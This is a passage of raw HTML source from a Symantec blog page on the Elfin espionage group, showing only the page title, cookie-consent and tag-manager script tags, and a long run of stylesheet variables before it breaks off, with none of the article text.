CINXE.COM
Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S. | Symantec Enterprise Blogs
<!DOCTYPE html><html lang="en" data-critters-container><head><base href="/"> <!-- OneTrust Cookies Consent Notice start for security.com --> <script type="text/javascript" src="https://cdn.cookielaw.org/consent/301196e0-93ad-473e-a572-975514574496/OtAutoBlock.js"></script> <script src="https://cdn.cookielaw.org/scripttemplates/otSDKStub.js" type="text/javascript" charset="UTF-8" data-domain-script="301196e0-93ad-473e-a572-975514574496"></script> <script type="text/javascript"> function OptanonWrapper() { } </script> <!-- OneTrust Cookies Consent Notice end for security.com --> <!-- Google Tag Manager --> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KF7XWD');</script> <!-- End Google Tag Manager --> <meta charset="utf-8"> <title>Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S. | Symantec Enterprise Blogs</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="google-site-verification" content="QpS_7p7oPyNjksYmiXtMfTJDLRKiviv1FJaQOUGPnt0"> <meta name="google-site-verification" content="Phaks0EaD7hDs8gJnbzabqgvae8ar_dbX2uUTiqhB2Y"> <link rel="apple-touch-icon" sizes="180x180" href="/assets/favicon/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="32x32" href="/assets/favicon/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="/assets/favicon/favicon-16x16.png"> <link rel="manifest" href="/assets/favicon/site.webmanifest"> <link rel="mask-icon" href="/assets/favicon/safari-pinned-tab.svg" color="#5bbad5"> <meta name="msapplication-TileColor" content="#cd2031"> <meta name="theme-color" content="#ffffff"> <script src="https://play.vidyard.com/embed/v4.umd.js" type="text/javascript" async></script> <style>html{--mat-ripple-color:rgba(0, 0, 0, .1)}html{--mat-option-selected-state-label-text-color:#3f51b5;--mat-option-label-text-color:rgba(0, 0, 0, .87);--mat-option-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-option-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-option-selected-state-layer-color:rgba(0, 0, 0, .04)}html{--mat-optgroup-label-text-color:rgba(0, 0, 0, .87)}html{--mat-full-pseudo-checkbox-selected-icon-color:#ff4081;--mat-full-pseudo-checkbox-selected-checkmark-color:#fafafa;--mat-full-pseudo-checkbox-unselected-icon-color:rgba(0, 0, 0, .54);--mat-full-pseudo-checkbox-disabled-selected-checkmark-color:#fafafa;--mat-full-pseudo-checkbox-disabled-unselected-icon-color:#b0b0b0;--mat-full-pseudo-checkbox-disabled-selected-icon-color:#b0b0b0;--mat-minimal-pseudo-checkbox-selected-checkmark-color:#ff4081;--mat-minimal-pseudo-checkbox-disabled-selected-checkmark-color:#b0b0b0}html{--mat-app-background-color:#fafafa;--mat-app-text-color:rgba(0, 0, 0, .87);--mat-app-elevation-shadow-level-0:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-1:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-2:0px 3px 1px -2px rgba(0, 0, 0, .2), 0px 2px 2px 0px rgba(0, 0, 0, .14), 0px 1px 5px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-3:0px 3px 3px -2px rgba(0, 0, 0, .2), 0px 3px 4px 0px rgba(0, 0, 0, .14), 0px 1px 8px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-4:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-5:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 5px 8px 0px rgba(0, 0, 0, .14), 0px 1px 14px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-6:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-7:0px 4px 5px -2px rgba(0, 0, 0, .2), 0px 7px 10px 1px rgba(0, 0, 0, .14), 0px 2px 16px 1px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-8:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-9:0px 5px 6px -3px rgba(0, 0, 0, .2), 0px 9px 12px 1px rgba(0, 0, 0, .14), 0px 3px 16px 2px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-10:0px 6px 6px -3px rgba(0, 0, 0, .2), 0px 10px 14px 1px rgba(0, 0, 0, .14), 0px 4px 18px 3px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-11:0px 6px 7px -4px rgba(0, 0, 0, .2), 0px 11px 15px 1px rgba(0, 0, 0, .14), 0px 4px 20px 3px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-12:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-13:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 13px 19px 2px rgba(0, 0, 0, .14), 0px 5px 24px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-14:0px 7px 9px -4px rgba(0, 0, 0, .2), 0px 14px 21px 2px rgba(0, 0, 0, .14), 0px 5px 26px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-15:0px 8px 9px -5px rgba(0, 0, 0, .2), 0px 15px 22px 2px rgba(0, 0, 0, .14), 0px 6px 28px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-16:0px 8px 10px -5px rgba(0, 0, 0, .2), 0px 16px 24px 2px rgba(0, 0, 0, .14), 0px 6px 30px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-17:0px 8px 11px -5px rgba(0, 0, 0, .2), 0px 17px 26px 2px rgba(0, 0, 0, .14), 0px 6px 32px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-18:0px 9px 11px -5px rgba(0, 0, 0, .2), 0px 18px 28px 2px rgba(0, 0, 0, .14), 0px 7px 34px 6px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-19:0px 9px 12px -6px rgba(0, 0, 0, .2), 0px 19px 29px 2px rgba(0, 0, 0, .14), 0px 7px 36px 6px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-20:0px 10px 13px -6px rgba(0, 0, 0, .2), 0px 20px 31px 3px rgba(0, 0, 0, .14), 0px 8px 38px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-21:0px 10px 13px -6px rgba(0, 0, 0, .2), 0px 21px 33px 3px rgba(0, 0, 0, .14), 0px 8px 40px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-22:0px 10px 14px -6px rgba(0, 0, 0, .2), 0px 22px 35px 3px rgba(0, 0, 0, .14), 0px 8px 42px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-23:0px 11px 14px -7px rgba(0, 0, 0, .2), 0px 23px 36px 3px rgba(0, 0, 0, .14), 0px 9px 44px 8px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-24:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12)}html{--mat-option-label-text-font:Roboto, sans-serif;--mat-option-label-text-line-height:24px;--mat-option-label-text-size:16px;--mat-option-label-text-tracking:.03125em;--mat-option-label-text-weight:400}html{--mat-optgroup-label-text-font:Roboto, sans-serif;--mat-optgroup-label-text-line-height:24px;--mat-optgroup-label-text-size:16px;--mat-optgroup-label-text-tracking:.03125em;--mat-optgroup-label-text-weight:400}html{--mdc-elevated-card-container-shape:4px;--mdc-outlined-card-container-shape:4px;--mdc-outlined-card-outline-width:1px}html{--mdc-elevated-card-container-color:white;--mdc-elevated-card-container-elevation:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mdc-outlined-card-container-color:white;--mdc-outlined-card-outline-color:rgba(0, 0, 0, .12);--mdc-outlined-card-container-elevation:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mat-card-subtitle-text-color:rgba(0, 0, 0, .54)}html{--mat-card-title-text-font:Roboto, sans-serif;--mat-card-title-text-line-height:32px;--mat-card-title-text-size:20px;--mat-card-title-text-tracking:.0125em;--mat-card-title-text-weight:500;--mat-card-subtitle-text-font:Roboto, sans-serif;--mat-card-subtitle-text-line-height:22px;--mat-card-subtitle-text-size:14px;--mat-card-subtitle-text-tracking:.0071428571em;--mat-card-subtitle-text-weight:500}html{--mdc-linear-progress-active-indicator-height:4px;--mdc-linear-progress-track-height:4px;--mdc-linear-progress-track-shape:0}html{--mdc-plain-tooltip-container-shape:4px;--mdc-plain-tooltip-supporting-text-line-height:16px}html{--mdc-plain-tooltip-container-color:#616161;--mdc-plain-tooltip-supporting-text-color:#fff}html{--mdc-plain-tooltip-supporting-text-font:Roboto, sans-serif;--mdc-plain-tooltip-supporting-text-size:12px;--mdc-plain-tooltip-supporting-text-weight:400;--mdc-plain-tooltip-supporting-text-tracking:.0333333333em}html{--mdc-filled-text-field-active-indicator-height:1px;--mdc-filled-text-field-focus-active-indicator-height:2px;--mdc-filled-text-field-container-shape:4px;--mdc-outlined-text-field-outline-width:1px;--mdc-outlined-text-field-focus-outline-width:2px;--mdc-outlined-text-field-container-shape:4px}html{--mdc-filled-text-field-caret-color:#3f51b5;--mdc-filled-text-field-focus-active-indicator-color:#3f51b5;--mdc-filled-text-field-focus-label-text-color:rgba(63, 81, 181, .87);--mdc-filled-text-field-container-color:whitesmoke;--mdc-filled-text-field-disabled-container-color:#fafafa;--mdc-filled-text-field-label-text-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-hover-label-text-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-filled-text-field-input-text-color:rgba(0, 0, 0, .87);--mdc-filled-text-field-disabled-input-text-color:rgba(0, 0, 0, .38);--mdc-filled-text-field-input-text-placeholder-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-error-hover-label-text-color:#f44336;--mdc-filled-text-field-error-focus-label-text-color:#f44336;--mdc-filled-text-field-error-label-text-color:#f44336;--mdc-filled-text-field-error-caret-color:#f44336;--mdc-filled-text-field-active-indicator-color:rgba(0, 0, 0, .42);--mdc-filled-text-field-disabled-active-indicator-color:rgba(0, 0, 0, .06);--mdc-filled-text-field-hover-active-indicator-color:rgba(0, 0, 0, .87);--mdc-filled-text-field-error-active-indicator-color:#f44336;--mdc-filled-text-field-error-focus-active-indicator-color:#f44336;--mdc-filled-text-field-error-hover-active-indicator-color:#f44336;--mdc-outlined-text-field-caret-color:#3f51b5;--mdc-outlined-text-field-focus-outline-color:#3f51b5;--mdc-outlined-text-field-focus-label-text-color:rgba(63, 81, 181, .87);--mdc-outlined-text-field-label-text-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-hover-label-text-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-input-text-color:rgba(0, 0, 0, .87);--mdc-outlined-text-field-disabled-input-text-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-input-text-placeholder-color:rgba(0, 0, 0, .6);--mdc-outlined-text-field-error-caret-color:#f44336;--mdc-outlined-text-field-error-focus-label-text-color:#f44336;--mdc-outlined-text-field-error-label-text-color:#f44336;--mdc-outlined-text-field-error-hover-label-text-color:#f44336;--mdc-outlined-text-field-outline-color:rgba(0, 0, 0, .38);--mdc-outlined-text-field-disabled-outline-color:rgba(0, 0, 0, .06);--mdc-outlined-text-field-hover-outline-color:rgba(0, 0, 0, .87);--mdc-outlined-text-field-error-focus-outline-color:#f44336;--mdc-outlined-text-field-error-hover-outline-color:#f44336;--mdc-outlined-text-field-error-outline-color:#f44336;--mat-form-field-focus-select-arrow-color:rgba(63, 81, 181, .87);--mat-form-field-disabled-input-text-placeholder-color:rgba(0, 0, 0, .38);--mat-form-field-state-layer-color:rgba(0, 0, 0, .87);--mat-form-field-error-text-color:#f44336;--mat-form-field-select-option-text-color:inherit;--mat-form-field-select-disabled-option-text-color:GrayText;--mat-form-field-leading-icon-color:unset;--mat-form-field-disabled-leading-icon-color:unset;--mat-form-field-trailing-icon-color:unset;--mat-form-field-disabled-trailing-icon-color:unset;--mat-form-field-error-focus-trailing-icon-color:unset;--mat-form-field-error-hover-trailing-icon-color:unset;--mat-form-field-error-trailing-icon-color:unset;--mat-form-field-enabled-select-arrow-color:rgba(0, 0, 0, .54);--mat-form-field-disabled-select-arrow-color:rgba(0, 0, 0, .38);--mat-form-field-hover-state-layer-opacity:.04;--mat-form-field-focus-state-layer-opacity:.08}html{--mat-form-field-container-height:56px;--mat-form-field-filled-label-display:block;--mat-form-field-container-vertical-padding:16px;--mat-form-field-filled-with-label-container-padding-top:24px;--mat-form-field-filled-with-label-container-padding-bottom:8px}html{--mdc-filled-text-field-label-text-font:Roboto, sans-serif;--mdc-filled-text-field-label-text-size:16px;--mdc-filled-text-field-label-text-tracking:.03125em;--mdc-filled-text-field-label-text-weight:400;--mdc-outlined-text-field-label-text-font:Roboto, sans-serif;--mdc-outlined-text-field-label-text-size:16px;--mdc-outlined-text-field-label-text-tracking:.03125em;--mdc-outlined-text-field-label-text-weight:400;--mat-form-field-container-text-font:Roboto, sans-serif;--mat-form-field-container-text-line-height:24px;--mat-form-field-container-text-size:16px;--mat-form-field-container-text-tracking:.03125em;--mat-form-field-container-text-weight:400;--mat-form-field-outlined-label-text-populated-size:16px;--mat-form-field-subscript-text-font:Roboto, sans-serif;--mat-form-field-subscript-text-line-height:20px;--mat-form-field-subscript-text-size:12px;--mat-form-field-subscript-text-tracking:.0333333333em;--mat-form-field-subscript-text-weight:400}html{--mat-select-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12)}html{--mat-select-panel-background-color:white;--mat-select-enabled-trigger-text-color:rgba(0, 0, 0, .87);--mat-select-disabled-trigger-text-color:rgba(0, 0, 0, .38);--mat-select-placeholder-text-color:rgba(0, 0, 0, .6);--mat-select-enabled-arrow-color:rgba(0, 0, 0, .54);--mat-select-disabled-arrow-color:rgba(0, 0, 0, .38);--mat-select-focused-arrow-color:rgba(63, 81, 181, .87);--mat-select-invalid-arrow-color:rgba(244, 67, 54, .87)}html{--mat-select-arrow-transform:translateY(-8px)}html{--mat-select-trigger-text-font:Roboto, sans-serif;--mat-select-trigger-text-line-height:24px;--mat-select-trigger-text-size:16px;--mat-select-trigger-text-tracking:.03125em;--mat-select-trigger-text-weight:400}html{--mat-autocomplete-container-shape:4px;--mat-autocomplete-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12)}html{--mat-autocomplete-background-color:white}html{--mdc-dialog-container-shape:4px;--mat-dialog-container-elevation-shadow:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12);--mat-dialog-container-max-width:80vw;--mat-dialog-container-small-max-width:80vw;--mat-dialog-container-min-width:0;--mat-dialog-actions-alignment:start;--mat-dialog-actions-padding:8px;--mat-dialog-content-padding:20px 24px;--mat-dialog-with-actions-content-padding:20px 24px;--mat-dialog-headline-padding:0 24px 9px}html{--mdc-dialog-container-color:white;--mdc-dialog-subhead-color:rgba(0, 0, 0, .87);--mdc-dialog-supporting-text-color:rgba(0, 0, 0, .6)}html{--mdc-dialog-subhead-font:Roboto, sans-serif;--mdc-dialog-subhead-line-height:32px;--mdc-dialog-subhead-size:20px;--mdc-dialog-subhead-weight:500;--mdc-dialog-subhead-tracking:.0125em;--mdc-dialog-supporting-text-font:Roboto, sans-serif;--mdc-dialog-supporting-text-line-height:24px;--mdc-dialog-supporting-text-size:16px;--mdc-dialog-supporting-text-weight:400;--mdc-dialog-supporting-text-tracking:.03125em}html{--mdc-switch-disabled-selected-icon-opacity:.38;--mdc-switch-disabled-track-opacity:.12;--mdc-switch-disabled-unselected-icon-opacity:.38;--mdc-switch-handle-height:20px;--mdc-switch-handle-shape:10px;--mdc-switch-handle-width:20px;--mdc-switch-selected-icon-size:18px;--mdc-switch-track-height:14px;--mdc-switch-track-shape:7px;--mdc-switch-track-width:36px;--mdc-switch-unselected-icon-size:18px;--mdc-switch-selected-focus-state-layer-opacity:.12;--mdc-switch-selected-hover-state-layer-opacity:.04;--mdc-switch-selected-pressed-state-layer-opacity:.1;--mdc-switch-unselected-focus-state-layer-opacity:.12;--mdc-switch-unselected-hover-state-layer-opacity:.04;--mdc-switch-unselected-pressed-state-layer-opacity:.1}html{--mdc-switch-selected-focus-state-layer-color:#3949ab;--mdc-switch-selected-handle-color:#3949ab;--mdc-switch-selected-hover-state-layer-color:#3949ab;--mdc-switch-selected-pressed-state-layer-color:#3949ab;--mdc-switch-selected-focus-handle-color:#1a237e;--mdc-switch-selected-hover-handle-color:#1a237e;--mdc-switch-selected-pressed-handle-color:#1a237e;--mdc-switch-selected-focus-track-color:#7986cb;--mdc-switch-selected-hover-track-color:#7986cb;--mdc-switch-selected-pressed-track-color:#7986cb;--mdc-switch-selected-track-color:#7986cb;--mdc-switch-disabled-selected-handle-color:#424242;--mdc-switch-disabled-selected-icon-color:#fff;--mdc-switch-disabled-selected-track-color:#424242;--mdc-switch-disabled-unselected-handle-color:#424242;--mdc-switch-disabled-unselected-icon-color:#fff;--mdc-switch-disabled-unselected-track-color:#424242;--mdc-switch-handle-surface-color:#fff;--mdc-switch-selected-icon-color:#fff;--mdc-switch-unselected-focus-handle-color:#212121;--mdc-switch-unselected-focus-state-layer-color:#424242;--mdc-switch-unselected-focus-track-color:#e0e0e0;--mdc-switch-unselected-handle-color:#616161;--mdc-switch-unselected-hover-handle-color:#212121;--mdc-switch-unselected-hover-state-layer-color:#424242;--mdc-switch-unselected-hover-track-color:#e0e0e0;--mdc-switch-unselected-icon-color:#fff;--mdc-switch-unselected-pressed-handle-color:#212121;--mdc-switch-unselected-pressed-state-layer-color:#424242;--mdc-switch-unselected-pressed-track-color:#e0e0e0;--mdc-switch-unselected-track-color:#e0e0e0;--mdc-switch-handle-elevation-shadow:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mdc-switch-disabled-handle-elevation-shadow:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mdc-switch-disabled-label-text-color:rgba(0, 0, 0, .38)}html{--mdc-switch-state-layer-size:40px}html{--mdc-radio-disabled-selected-icon-opacity:.38;--mdc-radio-disabled-unselected-icon-opacity:.38;--mdc-radio-state-layer-size:40px}html{--mdc-radio-state-layer-size:40px;--mat-radio-touch-target-display:block}html{--mat-radio-label-text-font:Roboto, sans-serif;--mat-radio-label-text-line-height:20px;--mat-radio-label-text-size:14px;--mat-radio-label-text-tracking:.0178571429em;--mat-radio-label-text-weight:400}html{--mdc-slider-active-track-height:6px;--mdc-slider-active-track-shape:9999px;--mdc-slider-handle-height:20px;--mdc-slider-handle-shape:50%;--mdc-slider-handle-width:20px;--mdc-slider-inactive-track-height:4px;--mdc-slider-inactive-track-shape:9999px;--mdc-slider-with-overlap-handle-outline-width:1px;--mdc-slider-with-tick-marks-active-container-opacity:.6;--mdc-slider-with-tick-marks-container-shape:50%;--mdc-slider-with-tick-marks-container-size:2px;--mdc-slider-with-tick-marks-inactive-container-opacity:.6;--mdc-slider-handle-elevation:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mat-slider-value-indicator-width:auto;--mat-slider-value-indicator-height:32px;--mat-slider-value-indicator-caret-display:block;--mat-slider-value-indicator-border-radius:4px;--mat-slider-value-indicator-padding:0 12px;--mat-slider-value-indicator-text-transform:none;--mat-slider-value-indicator-container-transform:translateX(-50%)}html{--mdc-slider-handle-color:#3f51b5;--mdc-slider-focus-handle-color:#3f51b5;--mdc-slider-hover-handle-color:#3f51b5;--mdc-slider-active-track-color:#3f51b5;--mdc-slider-inactive-track-color:#3f51b5;--mdc-slider-with-tick-marks-inactive-container-color:#3f51b5;--mdc-slider-with-tick-marks-active-container-color:white;--mdc-slider-disabled-active-track-color:#000;--mdc-slider-disabled-handle-color:#000;--mdc-slider-disabled-inactive-track-color:#000;--mdc-slider-label-container-color:#000;--mdc-slider-label-label-text-color:#fff;--mdc-slider-with-overlap-handle-outline-color:#fff;--mdc-slider-with-tick-marks-disabled-container-color:#000;--mat-slider-ripple-color:#3f51b5;--mat-slider-hover-state-layer-color:rgba(63, 81, 181, .05);--mat-slider-focus-state-layer-color:rgba(63, 81, 181, .2);--mat-slider-value-indicator-opacity:.6}html{--mdc-slider-label-label-text-font:Roboto, sans-serif;--mdc-slider-label-label-text-size:14px;--mdc-slider-label-label-text-line-height:22px;--mdc-slider-label-label-text-tracking:.0071428571em;--mdc-slider-label-label-text-weight:500}html{--mat-menu-container-shape:4px;--mat-menu-divider-bottom-spacing:0;--mat-menu-divider-top-spacing:0;--mat-menu-item-spacing:16px;--mat-menu-item-icon-size:24px;--mat-menu-item-leading-spacing:16px;--mat-menu-item-trailing-spacing:16px;--mat-menu-item-with-icon-leading-spacing:16px;--mat-menu-item-with-icon-trailing-spacing:16px;--mat-menu-base-elevation-level:8}html{--mat-menu-item-label-text-color:rgba(0, 0, 0, .87);--mat-menu-item-icon-color:rgba(0, 0, 0, .87);--mat-menu-item-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-menu-item-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-menu-container-color:white;--mat-menu-divider-color:rgba(0, 0, 0, .12)}html{--mat-menu-item-label-text-font:Roboto, sans-serif;--mat-menu-item-label-text-size:16px;--mat-menu-item-label-text-tracking:.03125em;--mat-menu-item-label-text-line-height:24px;--mat-menu-item-label-text-weight:400}html{--mdc-list-list-item-container-shape:0;--mdc-list-list-item-leading-avatar-shape:50%;--mdc-list-list-item-container-color:transparent;--mdc-list-list-item-selected-container-color:transparent;--mdc-list-list-item-leading-avatar-color:transparent;--mdc-list-list-item-leading-icon-size:24px;--mdc-list-list-item-leading-avatar-size:40px;--mdc-list-list-item-trailing-icon-size:24px;--mdc-list-list-item-disabled-state-layer-color:transparent;--mdc-list-list-item-disabled-state-layer-opacity:0;--mdc-list-list-item-disabled-label-text-opacity:.38;--mdc-list-list-item-disabled-leading-icon-opacity:.38;--mdc-list-list-item-disabled-trailing-icon-opacity:.38;--mat-list-active-indicator-color:transparent;--mat-list-active-indicator-shape:4px}html{--mdc-list-list-item-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-supporting-text-color:rgba(0, 0, 0, .54);--mdc-list-list-item-leading-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-trailing-supporting-text-color:rgba(0, 0, 0, .38);--mdc-list-list-item-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-selected-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-disabled-label-text-color:black;--mdc-list-list-item-disabled-leading-icon-color:black;--mdc-list-list-item-disabled-trailing-icon-color:black;--mdc-list-list-item-hover-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-hover-leading-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-hover-trailing-icon-color:rgba(0, 0, 0, .38);--mdc-list-list-item-focus-label-text-color:rgba(0, 0, 0, .87);--mdc-list-list-item-hover-state-layer-color:black;--mdc-list-list-item-hover-state-layer-opacity:.04;--mdc-list-list-item-focus-state-layer-color:black;--mdc-list-list-item-focus-state-layer-opacity:.12}html{--mdc-list-list-item-one-line-container-height:48px;--mdc-list-list-item-two-line-container-height:64px;--mdc-list-list-item-three-line-container-height:88px;--mat-list-list-item-leading-icon-start-space:16px;--mat-list-list-item-leading-icon-end-space:32px}html{--mdc-list-list-item-label-text-font:Roboto, sans-serif;--mdc-list-list-item-label-text-line-height:24px;--mdc-list-list-item-label-text-size:16px;--mdc-list-list-item-label-text-tracking:.03125em;--mdc-list-list-item-label-text-weight:400;--mdc-list-list-item-supporting-text-font:Roboto, sans-serif;--mdc-list-list-item-supporting-text-line-height:20px;--mdc-list-list-item-supporting-text-size:14px;--mdc-list-list-item-supporting-text-tracking:.0178571429em;--mdc-list-list-item-supporting-text-weight:400;--mdc-list-list-item-trailing-supporting-text-font:Roboto, sans-serif;--mdc-list-list-item-trailing-supporting-text-line-height:20px;--mdc-list-list-item-trailing-supporting-text-size:12px;--mdc-list-list-item-trailing-supporting-text-tracking:.0333333333em;--mdc-list-list-item-trailing-supporting-text-weight:400}html{--mat-paginator-container-text-color:rgba(0, 0, 0, .87);--mat-paginator-container-background-color:white;--mat-paginator-enabled-icon-color:rgba(0, 0, 0, .54);--mat-paginator-disabled-icon-color:rgba(0, 0, 0, .12)}html{--mat-paginator-container-size:56px;--mat-paginator-form-field-container-height:40px;--mat-paginator-form-field-container-vertical-padding:8px;--mat-paginator-touch-target-display:block}html{--mat-paginator-container-text-font:Roboto, sans-serif;--mat-paginator-container-text-line-height:20px;--mat-paginator-container-text-size:12px;--mat-paginator-container-text-tracking:.0333333333em;--mat-paginator-container-text-weight:400;--mat-paginator-select-trigger-text-size:12px}html{--mdc-secondary-navigation-tab-container-height:48px;--mdc-tab-indicator-active-indicator-height:2px;--mdc-tab-indicator-active-indicator-shape:0;--mat-tab-header-divider-color:transparent;--mat-tab-header-divider-height:0}html{--mdc-checkbox-disabled-selected-checkmark-color:#fff;--mdc-checkbox-selected-focus-state-layer-opacity:.16;--mdc-checkbox-selected-hover-state-layer-opacity:.04;--mdc-checkbox-selected-pressed-state-layer-opacity:.16;--mdc-checkbox-unselected-focus-state-layer-opacity:.16;--mdc-checkbox-unselected-hover-state-layer-opacity:.04;--mdc-checkbox-unselected-pressed-state-layer-opacity:.16}html{--mdc-checkbox-disabled-selected-icon-color:rgba(0, 0, 0, .38);--mdc-checkbox-disabled-unselected-icon-color:rgba(0, 0, 0, .38);--mdc-checkbox-selected-checkmark-color:white;--mdc-checkbox-selected-focus-icon-color:#ff4081;--mdc-checkbox-selected-hover-icon-color:#ff4081;--mdc-checkbox-selected-icon-color:#ff4081;--mdc-checkbox-selected-pressed-icon-color:#ff4081;--mdc-checkbox-unselected-focus-icon-color:#212121;--mdc-checkbox-unselected-hover-icon-color:#212121;--mdc-checkbox-unselected-icon-color:rgba(0, 0, 0, .54);--mdc-checkbox-selected-focus-state-layer-color:#ff4081;--mdc-checkbox-selected-hover-state-layer-color:#ff4081;--mdc-checkbox-selected-pressed-state-layer-color:#ff4081;--mdc-checkbox-unselected-focus-state-layer-color:black;--mdc-checkbox-unselected-hover-state-layer-color:black;--mdc-checkbox-unselected-pressed-state-layer-color:black;--mat-checkbox-disabled-label-color:rgba(0, 0, 0, .38);--mat-checkbox-label-text-color:rgba(0, 0, 0, .87)}html{--mdc-checkbox-state-layer-size:40px;--mat-checkbox-touch-target-display:block}html{--mat-checkbox-label-text-font:Roboto, sans-serif;--mat-checkbox-label-text-line-height:20px;--mat-checkbox-label-text-size:14px;--mat-checkbox-label-text-tracking:.0178571429em;--mat-checkbox-label-text-weight:400}html{--mdc-text-button-container-shape:4px;--mdc-text-button-keep-touch-target:false;--mdc-filled-button-container-shape:4px;--mdc-filled-button-keep-touch-target:false;--mdc-protected-button-container-shape:4px;--mdc-protected-button-container-elevation-shadow:0px 3px 1px -2px rgba(0, 0, 0, .2), 0px 2px 2px 0px rgba(0, 0, 0, .14), 0px 1px 5px 0px rgba(0, 0, 0, .12);--mdc-protected-button-disabled-container-elevation-shadow:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mdc-protected-button-focus-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mdc-protected-button-hover-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mdc-protected-button-pressed-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, 